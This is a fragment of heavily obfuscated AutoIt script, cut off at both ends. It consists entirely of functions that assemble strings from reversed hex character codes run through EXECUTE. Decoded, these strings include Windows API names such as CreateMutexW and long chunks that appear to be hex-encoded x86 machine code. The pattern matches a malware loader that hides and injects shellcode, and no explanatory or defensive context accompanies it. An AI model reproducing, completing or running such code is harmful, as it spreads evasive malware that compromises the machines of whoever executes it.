] = [EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) ] LOCAL $GZMOMJFDVA FOR $TE_RRCXISGHVXBC = 0 TO 61 $GZMOMJFDVA &= CHRW ($LNWIHOAWGVNCPSYRUUSB [$TE_RRCXISGHVXBC ] ) NEXT RETURN $GZMOMJFDVA ENDFUNC FUNC GHYLVQNLEBLRXMDIGNVE () LOCAL $_MEFSOGHULZAULYPIHTT [12 ] = [EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("87x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) ] LOCAL $UDSTHJFRTC FOR $XWWGZTBXUTPUIHG = 0 TO 11 $UDSTHJFRTC &= CHRW ($_MEFSOGHULZAULYPIHTT [$XWWGZTBXUTPUIHG ] ) NEXT RETURN $UDSTHJFRTC ENDFUNC FUNC EEGBKFB_GDLKLUVWFEAF () LOCAL $EVQHRTTCSF_MLKNRXCIY [62 ] = [EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) ] LOCAL $JOZKRLZHAD FOR $NXVLLCGKIXKUZNX = 0 TO 61 $JOZKRLZHAD &= CHRW ($EVQHRTTCSF_MLKNRXCIY [$NXVLLCGKIXKUZNX ] ) NEXT RETURN $JOZKRLZHAD ENDFUNC FUNC WEUXTPNNYTLKZYVCKIQP () LOCAL $QIDCILDTPTCVYYCIEXPI [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $NBSOHMTYFR FOR $HHYQCOZWEQOLIIY = 0 TO 2 $NBSOHMTYFR &= CHRW ($QIDCILDTPTCVYYCIEXPI [$HHYQCOZWEQOLIIY ] ) NEXT RETURN $NBSOHMTYFR ENDFUNC FUNC EBXVHOURXFMQNJZOQBBL () LOCAL $OYWCKGTDJCJCXPGUYQBJ [7 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) ] LOCAL $GFULBVRHVW FOR $JCAXBRIYCBNPKRV = 0 TO 6 $GFULBVRHVW &= CHRW ($OYWCKGTDJCJCXPGUYQBJ [$JCAXBRIYCBNPKRV ] ) NEXT RETURN $GFULBVRHVW ENDFUNC FUNC BDWMWZGMDOPXKQDRYKPR () LOCAL $LNQMYETNPUEMTTSVZVDH [1 ] = [EXECUTE (STRINGREVERSE ("D5x0" ) ) ] LOCAL $ONJORFTXJK FOR $WHIWIRZDF__ZEAJ = 0 TO 0 $ONJORFTXJK &= CHRW ($LNQMYETNPUEMTTSVZVDH [$WHIWIRZDF__ZEAJ ] ) NEXT RETURN $ONJORFTXJK ENDFUNC FUNC CWRBUHMTMZWOTOCUK_OQ () LOCAL $KWMXSCYHHMNLCTQTO_Q_ [62 ] = [EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) ] LOCAL $HKUIRJELZL FOR $DOAPSCXKRLSWASO = 0 TO 61 $HKUIRJELZL &= CHRW ($KWMXSCYHHMNLCTQTO_Q_ [$DOAPSCXKRLSWASO ] ) NEXT RETURN $HKUIRJELZL ENDFUNC FUNC JUKSB_BDZECSBOWEIAOI () LOCAL $VZKONCTXMVDLP_QOOBEG [62 ] = [EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) ] LOCAL $KKWFYGERDB FOR $JGTLADNUOXDTANI = 0 TO 61 $KKWFYGERDB &= CHRW ($VZKONCTXMVDLP_QOOBEG [$JGTLADNUOXDTANI ] ) NEXT RETURN $KKWFYGERDB ENDFUNC FUNC LQUXJKYXUEPTVBAEIJLW () LOCAL $LPYQHPDNUCVCQLRQHHZK [4 ] = [EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("76x0" ) ) ] LOCAL $WSDQUGLCSJ FOR $HTVTEJRVIDOKHSG = 0 TO 3 $WSDQUGLCSJ &= CHRW ($LPYQHPDNUCVCQLRQHHZK [$HTVTEJRVIDOKHSG ] ) NEXT RETURN $WSDQUGLCSJ ENDFUNC FUNC HXSNWBTWODDEUMGRIKCK () LOCAL $XEIJYRFMVXKDNDTOSMIQ [62 ] = [EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) ] LOCAL $DPJPFWGBRT FOR $HXVXECOYCUVNPPS = 0 TO 61 $DPJPFWGBRT &= CHRW ($XEIJYRFMVXKDNDTOSMIQ [$HXVXECOYCUVNPPS ] ) NEXT RETURN $DPJPFWGBRT ENDFUNC FUNC UIIQJCXXTEJSWJYUEMIA () LOCAL $RYATLXFLYSEGTXMWQXQC [62 ] = [EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) ] LOCAL $WIPFMYL_AZ FOR $DN_QDMWFZTNQSOA = 0 TO 61 $WIPFMYL_AZ &= CHRW ($RYATLXFLYSEGTXMWQXQC [$DN_QDMWFZTNQSOA ] ) NEXT RETURN $WIPFMYL_AZ ENDFUNC FUNC SDCXHRGWHZOFZOJQ_IPS () LOCAL $JLBSFESXGAEPPJIALXHG [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) ] LOCAL $HCKRCYJPHU FOR $XYSOTFKHWIGWCLR = 0 TO 61 $HCKRCYJPHU &= CHRW ($JLBSFESXGAEPPJIALXHG [$XYSOTFKHWIGWCLR ] ) NEXT RETURN $HCKRCYJPHU ENDFUNC FUNC JRENUTKGRGCVGJLVEHRC () LOCAL $LBVWSSH_MVXFGXOL_ULU [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $IVIVBMKTWI FOR $ZCOQIVT_PAWROFB = 0 TO 2 $IVIVBMKTWI &= CHRW ($LBVWSSH_MVXFGXOL_ULU [$ZCOQIVT_PAWROFB ] ) NEXT RETURN $IVIVBMKTWI ENDFUNC FUNC ABTMIBZMMDCWZGUKWMBL () LOCAL $NTFHLHYGAWHIBVHADOAX [12 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) 